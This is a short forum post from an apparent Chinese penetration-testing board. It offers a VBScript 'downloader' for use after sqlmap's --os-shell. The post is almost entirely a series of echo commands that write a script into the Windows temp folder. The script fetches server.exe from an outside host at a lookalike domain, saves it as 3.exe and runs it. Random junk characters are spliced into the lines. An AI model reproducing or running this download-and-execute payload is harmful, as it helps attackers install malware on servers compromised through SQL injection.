中国网络渗透测试联盟

标题: vbs下载者,适合sqlmap --os-shell使用 [打印本页]

作者: admin    时间: 2016-4-12 16:08
标题: vbs下载者,适合sqlmap --os-shell使用
echo ^Set Post = CreateObject("Msxml2.XMLHTTP")^ >>c:\windows\temp\666999.txt
5 u7 X# [) m. B+ N# F6 ~echo ^Set Shell = CreateObject("Wscript.Shell")^ >>c:\windows\temp\666999.txt- i+ C4 l& E" d' c, h
echo ^Post.Open "GET","http://www.baido.hk/server.exe",0^ >>c:\windows\temp\666999.txt4 g; a; M; Q* ], i
echo ^Post.Send()^ >>c:\windows\temp\666999.txt) c, _; ]* ]% |# x5 a
echo ^Set aGet = CreateObject("ADODB.Stream")^ >>c:\windows\temp\666999.txt
( E, m+ H' M: a7 y4 [- F5 j8 Eecho ^aGet.Mode = 3^ >>c:\windows\temp\666999.txt! E: {/ v; w. q9 B3 R
echo ^aGet.Type = 1^ >>c:\windows\temp\666999.txt
0 o' B4 ]( `, m+ G" o; f8 N( mecho ^aGet.Open()^ >>c:\windows\temp\666999.txt
- _1 A/ B$ x  o. p! i. \echo ^aGet.Write(Post.responseBody)^ >>c:\windows\temp\666999.txt# ^% k1 G( b8 P' D6 W9 X7 S1 Q" e
echo ^aGet.SaveToFile "c:\windows\temp\3.exe",2^ >>c:\windows\temp\666999.txt
, p2 f+ d% |2 W! R& v) r8 ?% xecho ^wscript.sleep 1000^ >>c:\windows\temp\666999.txt  s0 }0 ?5 F; y% e+ i! ?
echo ^Shell.Run ("c:\windows\temp\3.exe")^ >>c:\windows\temp\666999.txt
7 Z# M3 F: S1 c3 n- v
' h4 h3 ~; _- E& G




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2